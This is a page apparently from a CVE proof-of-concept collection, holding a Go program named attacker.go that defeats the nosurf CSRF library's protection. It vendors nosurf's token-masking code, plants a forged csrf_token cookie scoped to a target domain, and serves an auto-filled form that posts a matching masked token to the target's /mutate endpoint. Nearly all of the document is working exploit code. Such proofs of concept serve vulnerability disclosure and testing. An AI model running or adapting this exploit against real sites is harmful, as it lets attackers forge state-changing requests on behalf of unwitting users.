4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / attacker.go GO
package main

import (
	"crypto/rand"
	"encoding/base64"
	"html/template"
	"io"
	"net/http"
)

// start: vendored from nosurf
const tokenLength = 32

func generateToken() []byte {
	bytes := make([]byte, tokenLength)

	if _, err := io.ReadFull(rand.Reader, bytes); err != nil {
		panic(err)
	}

	return bytes
}

func b64encode(data []byte) string {
	return base64.StdEncoding.EncodeToString(data)
}

func b64decode(data string) []byte {
	decoded, err := base64.StdEncoding.DecodeString(data)
	if err != nil {
		return nil
	}
	return decoded
}

// Masks/unmasks the given data *in place*
// with the given key
// Slices must be of the same length, or oneTimePad will panic
func oneTimePad(data, key []byte) {
	n := len(data)
	if n != len(key) {
		panic("Lengths of slices are not equal")
	}

	for i := 0; i < n; i++ {
		data[i] ^= key[i]
	}
}

func maskToken(data []byte) []byte {
	if len(data) != tokenLength {
		return nil
	}

	// tokenLength*2 == len(enckey + token)
	result := make([]byte, 2*tokenLength)
	// the first half of the result is the OTP
	// the second half is the masked token itself
	key := result[:tokenLength]
	token := result[tokenLength:]
	copy(token, data)

	// generate the random token
	if _, err := io.ReadFull(rand.Reader, key); err != nil {
		panic(err)
	}

	oneTimePad(token, key)
	return result
}

// end: vendored from nosurf

var indexHtml = template.Must(template.New("index").Parse(`
<!doctype html>
<body>
	<form action="https://target.localhost/mutate" method="post">
		<input type="submit" value="Submit">
		<input type="hidden" name="csrf_token" value="{{ .Token }}">
	</form>
</body>
`))

func main() {
	m := http.NewServeMux()
	m.HandleFunc("GET /", func(w http.ResponseWriter, r *http.Request) {
		unmaskedToken := generateToken()
		maskedToken := maskToken(unmaskedToken)

		http.SetCookie(w, &http.Cookie{
			Name:   "csrf_token",
			Value:  b64encode(unmaskedToken),
			Domain: "target.localhost",
			Path:   "/mutate",
			MaxAge: 3600,
		})

		err := indexHtml.Execute(w, struct {
			Token string
		}{
			b64encode(maskedToken),
		})
		if err != nil {
			panic(err)
		}
	})
	m.HandleFunc("POST /mutate", func(w http.ResponseWriter, r *http.Request) {
		w.Write([]byte("Mutating request successful."))
	})
	if err := http.ListenAndServe(":5001", m); err != nil {
		panic(err)
	}
}